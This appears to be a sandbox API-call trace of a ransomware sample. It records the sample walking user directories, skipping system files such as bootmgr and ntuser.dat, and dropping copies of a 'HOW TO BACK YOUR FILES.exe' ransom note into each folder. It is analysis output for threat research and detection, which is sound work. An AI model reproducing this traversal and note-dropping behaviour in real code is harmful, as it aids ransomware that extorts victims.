	[0037.337] CreateFileMappingW (hFile=0x148, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xbdaf0, lpName=0x0) returned 0x150
	[0037.344] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xbdaf0) returned 0x2a80000
	[0037.380] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0037.381] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0037.381] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0037.381] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0037.381] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0037.381] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0037.381] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bacb8
	[0037.381] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0037.381] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baba0
	[0037.381] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x599bd8
	[0037.381] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baba0 | out: hHeap=0x580000) returned 1
	[0037.381] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599bd8 | out: hHeap=0x580000) returned 1
	[0037.381] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bacb8 | out: hHeap=0x580000) returned 1
	[0037.381] UnmapViewOfFile (lpBaseAddress=0x2a80000) returned 1
	[0037.388] CloseHandle (hObject=0x150) returned 1
	[0037.388] CloseHandle (hObject=0x148) returned 1
	[0037.398] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0037.398] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0037.398] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0037.401] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1
	[0037.401] lstrcmpiW (lpString1="Microsoft", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0037.401] lstrcmpiW (lpString1="Microsoft", lpString2="Apollon865.txt.exe") returned 1
	[0037.401] lstrcmpiW (lpString1="Microsoft", lpString2=".") returned 1
	[0037.401] lstrcmpiW (lpString1="Microsoft", lpString2="..") returned 1
	[0037.401] lstrcmpiW (lpString1="Microsoft", lpString2="windows") returned -1
	[0037.401] lstrcmpiW (lpString1="Microsoft", lpString2="bootmgr") returned 1
	[0037.402] lstrcmpiW (lpString1="Microsoft", lpString2="temp") returned -1
	[0037.402] lstrcmpiW (lpString1="Microsoft", lpString2="pagefile.sys") returned -1
	[0037.402] lstrcmpiW (lpString1="Microsoft", lpString2="boot") returned 1
	[0037.402] lstrcmpiW (lpString1="Microsoft", lpString2="ids.txt") returned 1
	[0037.402] lstrcmpiW (lpString1="Microsoft", lpString2="ntuser.dat") returned -1
	[0037.402] lstrcmpiW (lpString1="Microsoft", lpString2="perflogs") returned -1
	[0037.402] lstrcmpiW (lpString1="Microsoft", lpString2="MSBuild") returned -1
	[0037.402] lstrlenW (lpString="Microsoft") returned 9
	[0037.402] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\IconCache.db") returned 43
	[0037.402] lstrcpyW (in: lpString1=0x2d3e58e, lpString2="Microsoft" | out: lpString1="Microsoft") returned="Microsoft"
	[0037.402] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a88
	[0037.402] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x52) returned 0x5983a8
	[0037.402] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a90 | out: ListHead=0x5b76b0, ListEntry=0x5b7a90) returned 0x5b7a70
	[0037.402] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3b34dcb8, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1
	[0037.402] lstrcmpiW (lpString1="Temp", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0037.402] lstrcmpiW (lpString1="Temp", lpString2="Apollon865.txt.exe") returned 1
	[0037.402] lstrcmpiW (lpString1="Temp", lpString2=".") returned 1
	[0037.402] lstrcmpiW (lpString1="Temp", lpString2="..") returned 1
	[0037.402] lstrcmpiW (lpString1="Temp", lpString2="windows") returned -1
	[0037.402] lstrcmpiW (lpString1="Temp", lpString2="bootmgr") returned 1
	[0037.402] lstrcmpiW (lpString1="Temp", lpString2="temp") returned 0
	[0037.402] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 1
	[0037.402] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0037.402] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="Apollon865.txt.exe") returned 1
	[0037.402] lstrcmpiW (lpString1="Temporary Internet Files", lpString2=".") returned 1
	[0037.402] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="..") returned 1
	[0037.402] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="windows") returned -1
	[0037.402] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="bootmgr") returned 1
	[0037.402] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="temp") returned 1
	[0037.402] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="pagefile.sys") returned 1
	[0037.402] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="boot") returned 1
	[0037.402] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="ids.txt") returned 1
	[0037.402] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="ntuser.dat") returned 1
	[0037.402] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="perflogs") returned 1
	[0037.402] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="MSBuild") returned 1
	[0037.402] lstrlenW (lpString="Temporary Internet Files") returned 24
	[0037.402] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft") returned 40
	[0037.403] lstrcpyW (in: lpString1=0x2d3e58e, lpString2="Temporary Internet Files" | out: lpString1="Temporary Internet Files") returned="Temporary Internet Files"
	[0037.403] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7aa8
	[0037.403] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x70) returned 0x59a920
	[0037.403] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ab0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ab0) returned 0x5b7a90
	[0037.403] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 0
	[0037.403] FindClose (in: hFindFile=0x5ca250 | out: hFindFile=0x5ca250) returned 1
	[0037.403] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7ab0
	[0037.403] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Default\\AppData\\Local\\Temporary Internet Files", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Temporary Internet Files") returned="C:\\Users\\Default\\AppData\\Local\\Temporary Internet Files"
	[0037.403] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0037.403] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7aa8 | out: hHeap=0x580000) returned 1
	[0037.403] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Temporary Internet Files") returned 55
	[0037.403] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Local\\Temporary Internet Files" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Temporary Internet Files") returned="C:\\Users\\Default\\AppData\\Local\\Temporary Internet Files"
	[0037.403] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0037.403] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Temporary Internet Files\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\local\\temporary internet files\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0037.436] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0037.436] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Temporary Internet Files\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 0xffffffff
	[0037.436] GetLastError () returned 0x5
	[0037.436] wsprintfA (in: param_1=0x2d3f538, param_2="[ERROR] %S FindFirstFile error %i\r\n" | out: param_1="[ERROR] C:\\Users\\Default\\AppData\\Local\\Temporary Internet Files\\* FindFirstFile error 5\r\n") returned 89
	[0037.436] lstrlenA (lpString="[ERROR] C:\\Users\\Default\\AppData\\Local\\Temporary Internet Files\\* FindFirstFile error 5\r\n") returned 89
	[0037.436] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x148
	[0037.436] SetFilePointer (in: hFile=0x148, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x880
	[0037.437] WriteFile (in: hFile=0x148, lpBuffer=0x2d3f538*, nNumberOfBytesToWrite=0x59, lpNumberOfBytesWritten=0x2d3e204, lpOverlapped=0x0 | out: lpBuffer=0x2d3f538*, lpNumberOfBytesWritten=0x2d3e204*=0x59, lpOverlapped=0x0) returned 1
	[0037.437] CloseHandle (hObject=0x148) returned 1
	[0037.438] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7a90
	[0037.438] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft"
	[0037.438] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5983a8 | out: hHeap=0x580000) returned 1
	[0037.438] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a88 | out: hHeap=0x580000) returned 1
	[0037.438] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft") returned 40
	[0037.438] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft"
	[0037.438] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0037.438] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0037.443] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0037.443] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2e70bed0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e70bed0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0037.443] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0037.443] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0037.443] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0037.443] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2e70bed0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e70bed0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0037.443] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0037.443] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0037.443] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0037.443] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0037.443] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Credentials", cAlternateFileName="CREDEN~1")) returned 1
	[0037.443] lstrcmpiW (lpString1="Credentials", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0037.443] lstrcmpiW (lpString1="Credentials", lpString2="Apollon865.txt.exe") returned 1
	[0037.443] lstrcmpiW (lpString1="Credentials", lpString2=".") returned 1
	[0037.443] lstrcmpiW (lpString1="Credentials", lpString2="..") returned 1
	[0037.443] lstrcmpiW (lpString1="Credentials", lpString2="windows") returned -1
	[0037.443] lstrcmpiW (lpString1="Credentials", lpString2="bootmgr") returned 1
	[0037.443] lstrcmpiW (lpString1="Credentials", lpString2="temp") returned -1
	[0037.443] lstrcmpiW (lpString1="Credentials", lpString2="pagefile.sys") returned -1
	[0037.443] lstrcmpiW (lpString1="Credentials", lpString2="boot") returned 1
	[0037.443] lstrcmpiW (lpString1="Credentials", lpString2="ids.txt") returned -1
	[0037.443] lstrcmpiW (lpString1="Credentials", lpString2="ntuser.dat") returned -1
	[0037.443] lstrcmpiW (lpString1="Credentials", lpString2="perflogs") returned -1
	[0037.443] lstrcmpiW (lpString1="Credentials", lpString2="MSBuild") returned -1
	[0037.443] lstrlenW (lpString="Credentials") returned 11
	[0037.443] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\*") returned 42
	[0037.443] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="Credentials" | out: lpString1="Credentials") returned="Credentials"
	[0037.444] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a88
	[0037.444] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x6a) returned 0x59a920
	[0037.444] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a90 | out: ListHead=0x5b76b0, ListEntry=0x5b7a90) returned 0x5b7a70
	[0037.444] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66b2700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Feeds", cAlternateFileName="")) returned 1
	[0037.444] lstrcmpiW (lpString1="Feeds", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0037.444] lstrcmpiW (lpString1="Feeds", lpString2="Apollon865.txt.exe") returned 1
	[0037.444] lstrcmpiW (lpString1="Feeds", lpString2=".") returned 1
	[0037.444] lstrcmpiW (lpString1="Feeds", lpString2="..") returned 1
	[0037.444] lstrcmpiW (lpString1="Feeds", lpString2="windows") returned -1
	[0037.444] lstrcmpiW (lpString1="Feeds", lpString2="bootmgr") returned 1
	[0037.444] lstrcmpiW (lpString1="Feeds", lpString2="temp") returned -1
	[0037.444] lstrcmpiW (lpString1="Feeds", lpString2="pagefile.sys") returned -1
	[0037.444] lstrcmpiW (lpString1="Feeds", lpString2="boot") returned 1
	[0037.444] lstrcmpiW (lpString1="Feeds", lpString2="ids.txt") returned -1
	[0037.444] lstrcmpiW (lpString1="Feeds", lpString2="ntuser.dat") returned -1
	[0037.444] lstrcmpiW (lpString1="Feeds", lpString2="perflogs") returned -1
	[0037.444] lstrcmpiW (lpString1="Feeds", lpString2="MSBuild") returned -1
	[0037.444] lstrlenW (lpString="Feeds") returned 5
	[0037.444] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Credentials") returned 52
	[0037.444] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="Feeds" | out: lpString1="Feeds") returned="Feeds"
	[0037.444] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7aa8
	[0037.444] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x5e) returned 0x5c5528
	[0037.444] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ab0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ab0) returned 0x5b7a90
	[0037.444] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Feeds Cache", cAlternateFileName="FEEDSC~1")) returned 1
	[0037.444] lstrcmpiW (lpString1="Feeds Cache", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0037.444] lstrcmpiW (lpString1="Feeds Cache", lpString2="Apollon865.txt.exe") returned 1
	[0037.444] lstrcmpiW (lpString1="Feeds Cache", lpString2=".") returned 1
	[0037.444] lstrcmpiW (lpString1="Feeds Cache", lpString2="..") returned 1
	[0037.444] lstrcmpiW (lpString1="Feeds Cache", lpString2="windows") returned -1
	[0037.444] lstrcmpiW (lpString1="Feeds Cache", lpString2="bootmgr") returned 1
	[0037.444] lstrcmpiW (lpString1="Feeds Cache", lpString2="temp") returned -1
	[0037.444] lstrcmpiW (lpString1="Feeds Cache", lpString2="pagefile.sys") returned -1
	[0037.444] lstrcmpiW (lpString1="Feeds Cache", lpString2="boot") returned 1
	[0037.444] lstrcmpiW (lpString1="Feeds Cache", lpString2="ids.txt") returned -1
	[0037.444] lstrcmpiW (lpString1="Feeds Cache", lpString2="ntuser.dat") returned -1
	[0037.444] lstrcmpiW (lpString1="Feeds Cache", lpString2="perflogs") returned -1
	[0037.444] lstrcmpiW (lpString1="Feeds Cache", lpString2="MSBuild") returned -1
	[0037.445] lstrlenW (lpString="Feeds Cache") returned 11
	[0037.445] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds") returned 46
	[0037.445] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="Feeds Cache" | out: lpString1="Feeds Cache") returned="Feeds Cache"
	[0037.445] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ac8
	[0037.445] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x6a) returned 0x59a998
	[0037.445] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ad0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ad0) returned 0x5b7ab0
	[0037.445] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e70bed0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e70bed0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0037.445] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0037.445] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96e13f, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1
	[0037.445] lstrcmpiW (lpString1="Internet Explorer", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0037.445] lstrcmpiW (lpString1="Internet Explorer", lpString2="Apollon865.txt.exe") returned 1
	[0037.445] lstrcmpiW (lpString1="Internet Explorer", lpString2=".") returned 1
	[0037.445] lstrcmpiW (lpString1="Internet Explorer", lpString2="..") returned 1
	[0037.445] lstrcmpiW (lpString1="Internet Explorer", lpString2="windows") returned -1
	[0037.445] lstrcmpiW (lpString1="Internet Explorer", lpString2="bootmgr") returned 1
	[0037.445] lstrcmpiW (lpString1="Internet Explorer", lpString2="temp") returned -1
	[0037.445] lstrcmpiW (lpString1="Internet Explorer", lpString2="pagefile.sys") returned -1
	[0037.445] lstrcmpiW (lpString1="Internet Explorer", lpString2="boot") returned 1
	[0037.445] lstrcmpiW (lpString1="Internet Explorer", lpString2="ids.txt") returned 1
	[0037.445] lstrcmpiW (lpString1="Internet Explorer", lpString2="ntuser.dat") returned -1
	[0037.445] lstrcmpiW (lpString1="Internet Explorer", lpString2="perflogs") returned -1
	[0037.445] lstrcmpiW (lpString1="Internet Explorer", lpString2="MSBuild") returned -1
	[0037.445] lstrlenW (lpString="Internet Explorer") returned 17
	[0037.445] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache") returned 52
	[0037.445] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="Internet Explorer" | out: lpString1="Internet Explorer") returned="Internet Explorer"
	[0037.445] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c48
	[0037.445] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x76) returned 0x591640
	[0037.445] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c50 | out: ListHead=0x5b76b0, ListEntry=0x5b7c50) returned 0x5b7ad0
	[0037.445] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66b2700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd856f385, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Media Player", cAlternateFileName="MEDIAP~1")) returned 1
	[0037.445] lstrcmpiW (lpString1="Media Player", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0037.445] lstrcmpiW (lpString1="Media Player", lpString2="Apollon865.txt.exe") returned 1
	[0037.445] lstrcmpiW (lpString1="Media Player", lpString2=".") returned 1
	[0037.445] lstrcmpiW (lpString1="Media Player", lpString2="..") returned 1
	[0037.445] lstrcmpiW (lpString1="Media Player", lpString2="windows") returned -1
	[0037.445] lstrcmpiW (lpString1="Media Player", lpString2="bootmgr") returned 1
	[0037.445] lstrcmpiW (lpString1="Media Player", lpString2="temp") returned -1
	[0037.446] lstrcmpiW (lpString1="Media Player", lpString2="pagefile.sys") returned -1
	[0037.446] lstrcmpiW (lpString1="Media Player", lpString2="boot") returned 1
	[0037.446] lstrcmpiW (lpString1="Media Player", lpString2="ids.txt") returned 1
	[0037.446] lstrcmpiW (lpString1="Media Player", lpString2="ntuser.dat") returned -1
	[0037.446] lstrcmpiW (lpString1="Media Player", lpString2="perflogs") returned -1
	[0037.446] lstrcmpiW (lpString1="Media Player", lpString2="MSBuild") returned -1
	[0037.446] lstrlenW (lpString="Media Player") returned 12
	[0037.446] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer") returned 58
